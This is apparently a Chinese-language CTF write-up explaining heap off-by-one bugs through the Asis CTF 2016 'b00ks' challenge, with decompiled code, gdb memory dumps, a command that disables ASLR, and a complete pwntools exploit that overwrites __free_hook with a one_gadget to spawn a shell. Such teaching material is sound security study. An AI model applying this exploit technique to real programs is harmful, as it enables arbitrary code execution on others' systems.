堆溢出-Off-By-One
原理
off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。
类似如下代码
#include <stdio.h> #include <malloc.h>
int main() { char str[5]={0}; str[5] = '\0'; return 0; }
数组总长为5,数组下标从0开始,最大为4,而我们错误地使用了str[5],造成越界写了一个字节,这就是off-by-one
|
利用思路
- 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
- 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得
prev_in_use
位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size
域就会启用,就可以伪造 prev_size
,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size
找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。
NULL byte off-by-one
strlen 在计算字符串长度时是不把结束符 '\x00'
计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00'
。
0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk
|
在我们输入’A’*24 后执行 strcpy
0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x0000000000000400
|
可以看到 next chunk 的 size 域低字节被结束符 '\x00'
覆盖。
为什么是低字节被覆盖呢:因为我们通常使用的 CPU 的字节序都是小端法的。
例 Asis CTF 2016 b00ks
漏洞分析
选单程序
puts("\n1. Create a book"); puts("2. Delete a book"); puts("3. Edit a book"); puts("4. Print book detail"); puts("5. Change current author name"); puts("6. Exit"); printf("> "); __isoc99_scanf("%d", &v1);
|
创建book时,注意到
signed __int64 sub_B6D() { printf("Enter author name: "); if ( !sub_9F5(off_202018, 32) ) return 0LL; printf("fail to read author_name", 32LL); return 1LL; }
|
author_name最大输入为32字符
sub_9F5为读取函数
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2) { int i; _BYTE *buf;
if ( a2 <= 0 ) return 0LL; buf = a1; for ( i = 0; ; ++i ) { if ( read(0, buf, 1uLL) != 1 ) return 1LL; if ( *buf == 10 ) break; ++buf; if ( i == a2 ) break; } *buf = 0; return 0LL; }
|
创建book时如下
v3 = malloc(32uLL); if ( v3 ) { *(v3 + 6) = v1; *(off_202010 + v2) = v3; *(v3 + 2) = v5; *(v3 + 1) = ptr; *v3 = ++unk_202024; return 0LL;c }
|
当输入的author_name长度为32时,会向book_name_ptr
中越界写入一个字节\x00
。之后,在创建book_struct时,会将其地址保存在global_book_struct_array
中,覆盖之前的字符串截断符\x00
。因此,通过打印book_name可以实现信息泄露。
^ .data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o | .data:0000000000202010 ;book name ptr ; sub_BBD:loc_C1B↑o ... | .data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o | .data:0000000000202018 ;author_name ptr ; sub_D1F+CA↑o
|
临时禁用了系统的地址随机化功能:echo 0 > sudo tee /proc/sys/kernel/randomize_va_space
利用过程
1. 填充满bookname 2. 创建堆块1,覆盖bookname结尾的\x00,这样我们输出的时候就可以泄露堆块1的地址 3. 创建堆块2,为后续做准备,堆块2要申请得比较大,因为mmap申请出来的堆块地址与libc有固定的偏移 4. 泄露堆块1地址,记为first_heap 5. 利用编辑author的时候多写了一个\x00字节,可以覆盖到堆块1的地址的最后一位,如果我们提前将堆块1的内容编辑好,按照上述的结构体布置好,name和description我们自己控制,伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,我们相当于获得了一个任意地址读写的能力啊 6. 任意读取获得libc地址 7. 任意写将__free_hook函数的地址改写成one_gadget地址
tips:__free_hook若没有则不调用,若有将先于free函数调用
|
gdb调试,r运行起来,另起终端
ps -ef |grep b00ks
查看进程号为4056
cat /proc/进程号/maps
查看程序加载基址为0x555555554000
之后设置断点时 基址+ida地址 = 实际运行的地址。
发现下不去断点,内存无法访问,后来发现是下断点使用bp
命令的原因,用break
就好了
后来请教大师傅,得知gdb attch也可以
from pwn import * context.log_level = 'DEBUG' p=process('./b00ks') p.recvuntil('Enter author name: ') p.sendline('a'*32) gdb.attach(p) p.recvuntil('\n1. Create a book') p.interactive()
|
成功断下后
x/10xg 0x555555554000+0x202040查看堆
pwndbg> x/10xg 0x555555554000+0x202040 0x555555756040: 0x6161616161616161 0x6161616161616161 0x555555756050: 0x6161616161616161 0x6161616161616161 0x555555756060: 0x0000000000000000 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000
|
溢出的一个字符是0,所以看的不清楚,如果输入的是’a’*33,就很明显
pwndbg> x/10xg 0x555555554000+0x202040 0x555555756040: 0x6161616161616161 0x6161616161616161 0x555555756050: 0x6161616161616161 0x6161616161616161 0x555555756060: 0x0000000000000061 0x0000000000000000 <---- 61代替了0位置 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000
|
使用create功能创建一个book后堆内变为如下
pwndbg> x/10gx 0x555555554000+0x202040 0x555555756040: 0x6161616161616161 0x6161616161616161 author_name 0x555555756050: 0x6161616161616161 0x6161616161616161 0x555555756060: 0x00005555557576f0 0x0000000000000000 <------- book结构体地址管理数组 0x555555756070: 0x0000000000000000 0x0000000000000000 用于放置每个book结构体的地址指针 0x555555756080: 0x0000000000000000 0x0000000000000000
|
再修改author_name,0x00005555557576f0最后两位就会被0覆盖成为0x0000555555757600.
再来看创建一个book,结构体记录的结构如下
book name size book name (大小等于book name size) book description size book description (大小等于book description size)
|
通过gdb调试发现
在堆中的指针指向如下
pwndbg> x/10gx 0x555555554000+0x202040 0x555555756040: 0x0000000000000061 0x0000000000000000 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000555555757750 0x0000000000000000 图书结构体管理,用于按顺序存放多个book结构体指针 0x555555756070: 0x0000000000000000 0x0000000000000000 第一个指针会被溢出覆盖 0x555555756080: 0x0000000000000000 0x0000000000000000 pwndbg> x/10gx 0x555555757750 第一个book结构体内部结构 0x555555757750: 0x0000000000000001 0x00005555557576b0 book name size ? book name 0x555555757760: 0x00005555557576d0 0x0000000000000078 book description book description size 0x555555757770: 0x0000000000000000 0x00000000000207d1 0x555555757780: 0x0000000000000000 0x0000000000000000 0x555555757790: 0x0000000000000000 0x0000000000000000 pwndbg> x/10gx 0x5555557576d0 0x5555557576d0: 0x6363636363636363 0x6363636363636363 book description起始位置 0x5555557576e0: 0x6363636363636363 0x6363636363636363 0x5555557576f0: 0x6363636363636363 0x6363636363636363 0x555555757700: 0x6363636363636363 0x6363636363636363 555555757750覆盖后两位变成7700指向这里 0x555555757710: 0x6363636363636363 0x6363636363636363
|
0x555555757700正好处于book description里,可以通过3. Edit a book 4. Print book detail
来进行写入和读取。
那么就可以通过book1来间接控制book2,原因是
book结构指针指向图如下 book ptr-|-> name ptr -|-> name str |-> description ptr -|-> description str book1原来为 book1 ptr-|-> name1 ptr -|-> name1 str |-> description1 ptr -|-> description1 str 溢出后book1指向自己伪造的bookf,bookf我们构造为如下 bookf ptr-|-> name2 ptr -|-> name2 str |-> description2 ptr -|-> description2 str
这样,通过读写book1就可以间接读写book2指针了 book1-book2 book1-| |-book2 |-bookf-| 可任意读写
|
因为开启了Full RELRO因此无法利用赋写GOT表来实现劫持程序流,因此我们set,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之间存在固定的偏移因此可以推算出 libc 的基地址。
libcbase计算: libcbase = book2_name_ptr - offset offset = 0x00007ffff7da2010(book2_description_ptr) - 0x7ffff7de9000(libc基地址) 在heap下面权限为r-xp的start部分的地址就是libc基地址
|
fake book构造为
payload =p64(1) + p64(book1_addr + 0x38) * 2 + p64(0xffff) 偏移需要调试计算
|
这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此利用__free_hook写入one_gadget,调用free执行即可
malloc_hook = libc.symbols['__free_hook'] + libcbase execve_addr = libcbase + one_gadget
|
payload = p64(free_hook) edit(1,payload) edit(2, p64(one_gadget)) remove(2)
|
exp(思路)
from pwn import *
context.log_level = 'DEBUG' binary = ELF("b00ks") libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so") io = process("./b00ks")
def createbook(name_size, name, des_size, des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des)
def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id = int(io.readline()[:-1]) io.readuntil(": ") book_name = io.readline()[:-1] io.readuntil(": ") book_des = io.readline()[:-1] io.readuntil(": ") book_author = io.readline()[:-1] return book_id, book_name, book_des, book_author
def createname(name): io.readuntil("name: ") io.sendline(name)
def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name)
def editbook(book_id, new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des)
def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id))
createname("A" * 32) createbook(128, "a", 32, "a") createbook(0x21000, "a", 0x21000, "b")
book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:" + hex(book1_addr))
payload =p64(1) + p64(book1_addr + 0x38) * 2 + p64(0xffff) editbook(book_id_1, payload) changename("A" * 32) gdb.attach(io) pause() io.interactive()
book_id_1, book_name, book_des, book_author = printbook(1) book2_name_addr = u64(book_name.ljust(8,"\x00")) book2_des_addr = u64(book_des.ljust(8,"\x00")) log.success("book2 name addr:" + hex(book2_name_addr)) log.success("book2 des addr:" + hex(book2_des_addr)) libc_base = book2_des_addr + 0x46ff0 log.success("libc base:" + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"] one_gadget = libc_base +0xe6b93 log.success("free_hook:" + hex(free_hook)) log.success("one_gadget:" + hex(one_gadget)) editbook(1, p64(free_hook) * 2) editbook(2, p64(one_gadget))
deletebook(2)
io.interactive()
|